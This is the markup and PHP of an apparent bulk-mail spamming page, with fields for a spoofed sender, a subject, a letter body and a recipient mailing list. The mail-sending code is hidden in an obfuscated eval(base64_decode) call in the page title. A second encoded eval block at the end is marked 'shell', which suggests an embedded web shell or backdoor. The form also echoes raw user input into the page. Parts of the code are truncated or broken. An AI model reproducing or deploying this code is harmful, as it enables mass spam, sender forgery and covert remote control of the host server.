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bCgkZW1haWwsICRzdWJqOTgsICRtc2c4ODczLCAkZnJvbSk7")); ?></title>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<body bgcolor="black">
<form id="form1" name="form1" method="post" action="">
<input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type="hidden" name="vai" value="1">
<span class="style5"><? echo enviando(); ?></span>
<table width="100%" height="60%" border="0" bgcolor="green">
  <tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">

<label>
<input 
style='width: 580; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="nome" type="text" value="<? echo $_POST['nome'] ;?>" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="de" type="text" value="<? echo $_POST['de'] ;?>" size="78" /></td>

</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="assunto" value="<? echo $_POST['assunto'] ;?>"  /></td>
</tr>
<td><span class="style5">Letter:</span>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><span class="style5">Mailist:</span></td>

<td><span class="style9">


<p><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="mensagem" cols="80" rows="20"><? echo stripslashes($_POST['mensagem']);?>
</textarea></p>
<textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="emails" cols="80" rows="8"></textarea>
</span></td>
</tr>

<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
  </tr>
</table>
</form>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?
}

else if (preg_match) { 
}


?>

<?php eval(base64_decode("Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLyBzaGVsbCAvLy8vLy8vLy8vLy8vLy8vLy8v
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